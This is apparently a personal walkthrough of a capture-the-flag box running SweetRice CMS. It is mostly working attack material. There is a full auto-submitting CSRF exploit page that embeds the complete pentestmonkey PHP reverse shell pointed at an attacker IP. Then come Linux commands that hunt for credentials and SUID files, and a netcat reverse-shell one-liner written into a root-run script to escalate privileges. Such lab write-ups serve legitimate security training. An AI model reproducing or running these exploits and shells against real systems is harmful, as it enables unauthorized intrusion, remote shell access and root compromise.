dirbuster
folders hhhhhhhh
as login page
cooking up a script (spoiler: didn’t need to. Just PHP reverse would’ve been fine):
<!--
# Exploit Title: SweetRice 1.5.1 Arbitrary Code Execution
# Date: 30-11-2016
# Exploit Author: Ashiyane Digital Security Team
# Vendor Homepage: http://www.basic-cms.org/
# Software Link: http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip
# Version: 1.5.1
# Description :
# In SweetRice CMS Panel In Adding Ads Section SweetRice Allow To Admin Add
PHP Codes In Ads File
# A CSRF Vulnerabilty In Adding Ads Section Allow To Attacker To Execute
PHP Codes On Server .
# In This Exploit I Just Added a echo '<h1> Hacked </h1>'; phpinfo();
Code You Can
Customize Exploit For Your Self .
# Exploit :
-->
<html>
<body onload="document.exploit.submit();">
<form action="http://10.10.148.249/sweetrice/as/?type=ad&mode=save" method="POST" name="exploit">
<input type="hidden" name="adk" value="hacked"/>
<textarea type="hidden" name="adv">
<?php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.6.62.12'; // CHANGE THIS
$port = 7777; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
phpinfo();?>
</textarea>
</form>
</body>
</html>
<!--
# After HTML File Executed You Can Access Page In
http://10.10.148.249/sweetrice/inc/ads/hacked.php
-->“sweetrice” would be switched with “content”
enum:
sudo -l
grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2> /dev/null
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
history
find / -perm -u=s -type f 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
dpkg -l | grep nginx
getcap -r / 2>/dev/null
envwe have sudo for perl on a specific file:
(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.plmodify that file:
echo /home/itguy/backup.plsudo echo "#!/usr/bin/perl" > /home/itguy/backup.pl
sudo echo 'exec "/bin/bash";' >> /home/itguy/backup.plnot working.
What did I miss? Go see what the file actually does.
it’s running
#!/usr/bin/perl
system("sh", "/etc/copy.sh");a shell that runs a reverse shell.
one liner reverse shell (from that copy.sh file):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.62.12 7778 >/tmp/fecho the new command in:
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.62.12 7778 >/tmp/f' > /etc/copy.shopen listener:
nc -nvlp 7778then we sudo perl run backup:
sudo perl /home/itguy/backup.pl